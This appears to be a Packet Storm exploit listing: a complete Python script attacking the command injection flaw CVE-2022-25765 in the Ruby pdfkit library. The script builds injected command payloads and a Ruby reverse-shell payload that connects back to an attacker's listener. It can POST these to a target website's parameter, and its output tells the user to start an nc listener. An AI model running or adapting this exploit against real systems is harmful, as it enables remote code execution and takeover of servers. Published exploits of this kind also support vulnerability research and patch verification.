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pdfkit 0.8.7.2 Command Injection

pdfkit version 08.7.2 suffers from a command injection vulnerability.

Packet Storm
#vulnerability#web#git#perl#pdf#auth#ruby
#!/usr/bin/env python3# Exploit Title: pdfkit v0.8.7.2 - Command Injection# Date: 02/23/2023# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)# Vendor Homepage: https://pdfkit.org/# Software Link: https://github.com/pdfkit/pdfkit# Version: 0.0.0-0.8.7.2# Tested on: pdfkit 0.8.6# CVE: CVE-2022–25765# Source: https://github.com/UNICORDev/exploit-CVE-2022-25765# Description: The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.# Importsimport timeimport sysimport requestsfrom urllib.parse import quoteclass color:    red = '\033[91m'    gold = '\033[93m'    blue = '\033[36m'    green = '\033[92m'    no = '\033[0m'# Print UNICORD ASCII Artdef UNICORD_ASCII():    print(rf"""{color.red}        _ __,~~~{color.gold}/{color.red}_{color.no}        {color.blue}__  ___  _______________  ___  ___{color.no}{color.red}    ,~~`( )_( )-\|       {color.blue}/ / / / |/ /  _/ ___/ __ \/ _ \/ _ \{color.no}{color.red}        |/|  `--.       {color.blue}/ /_/ /    // // /__/ /_/ / , _/ // /{color.no}{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}    """)# Print exploit help menudef help():    print(r"""UNICORD Exploit for CVE-2022–25765 (pdfkit) - Command InjectionUsage:  python3 exploit-CVE-2022–25765.py -c <command>  python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port>  python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]  python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]  python3 exploit-CVE-2022–25765.py -hOptions:  -c    Custom command mode. Provide command to generate custom payload with.  -s    Reverse shell mode. Provide local IP and port to generate reverse shell payload with.  -w    URL of website running vulnerable pdfkit. (Optional)  -p    POST parameter on website running vulnerable pdfkit. (Optional)  -h    Show this help menu.""")    exit()def loading(spins):    def spinning_cursor():        while True:            for cursor in '|/-\\':                yield cursor    spinner = spinning_cursor()    for _ in range(spins):        sys.stdout.write(next(spinner))        sys.stdout.flush()        time.sleep(0.1)        sys.stdout.write('\b')# Run the exploitdef exploit(payload, exploitMode, postArg):    UNICORD_ASCII()    print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2022–25765 (pdfkit) - Command Injection{color.no}")    loading(15)    print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}")    print(f"{color.blue}PAYLOAD: {color.gold}" + payload + f"{color.no}")    if "web" in exploitMode:        if exploitMode == "webcommand":            print(                f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")        else:            print(                f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")            print(                f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port. \"nc -lnvp {listenPort}\".{color.no}")        print(f"{color.blue}WEBSITE: {color.gold}{website}{color.no}")        print(f"{color.blue}POSTARG: {color.gold}{postArg}{color.no}")        if "http" not in website:            print(                f"{color.blue}ERRORED: {color.red}Make sure website has schema! Like \"http://\".{color.no}")            exit()        postArg = postArg + "=" + quote(payload, safe="")        try:            response = requests.post(website, postArg)        except:            print(                f"{color.blue}ERRORED: {color.red}Couldn't connect to website!{color.no}")            exit()        loading(15)        print(f"{color.blue}EXPLOIT: {color.gold}Payload sent to website!{color.no}")        loading(15)        print(f"{color.blue}SUCCESS: {color.green}Exploit performed action.{color.no}")    elif exploitMode == "command":        print(f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")        loading(15)        print(            f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")    elif exploitMode == "shell":        print(f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")        print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}")        loading(15)        print(            f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")    exit()if __name__ == "__main__":    args = ['-h', '-c', '-s', '-w', '-p']    modes = {'command': 'Custom Command Mode',             'shell': 'Reverse Shell Mode',             'webcommand': 'Custom Command Send to Target Website Mode',             'webshell': 'Reverse Shell Sent to Target Website Mode'}    postArg = "url"    if args[0] in sys.argv:        help()    elif args[1] in sys.argv and not args[2] in sys.argv:        try:            if sys.argv[sys.argv.index(args[1]) + 1] in args:                raise            command = sys.argv[sys.argv.index(args[1]) + 1]        except:            print(                f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}")            exit()        payload = f"http://%20`{command}`"        mode = "command"    elif args[2] in sys.argv and not args[1] in sys.argv:        try:            if "-" in sys.argv[sys.argv.index(args[2]) + 1]:                raise            listenIP = sys.argv[sys.argv.index(args[2]) + 1]        except:            print(                f"{color.blue}ERRORED: {color.red}Provide a target and port! \"-s <target-IP> <target-port>\"{color.no}")            exit()        try:            if "-" in sys.argv[sys.argv.index(args[2]) + 2]:                raise            listenPort = sys.argv[sys.argv.index(args[2]) + 2]        except:            print(                f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")            exit()        payload = f"http://%20`ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'`"        mode = "shell"    else:        help()    if args[3] in sys.argv and args[4] in sys.argv:        try:            if "-" in sys.argv[sys.argv.index(args[3]) + 1] and len(sys.argv[sys.argv.index(args[3]) + 1]) == 2:                raise            website = sys.argv[sys.argv.index(args[3]) + 1]            mode = "web" + mode        except:            print(                f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")            exit()        try:            if "-" in sys.argv[sys.argv.index(args[4]) + 1] and len(sys.argv[sys.argv.index(args[4]) + 1]) == 2:                raise            postArg = sys.argv[sys.argv.index(args[4]) + 1]        except:            print(                f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")            exit()    elif args[3] in sys.argv or args[4] in sys.argv:        print(            f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")        exit()    exploit(payload, mode, postArg)

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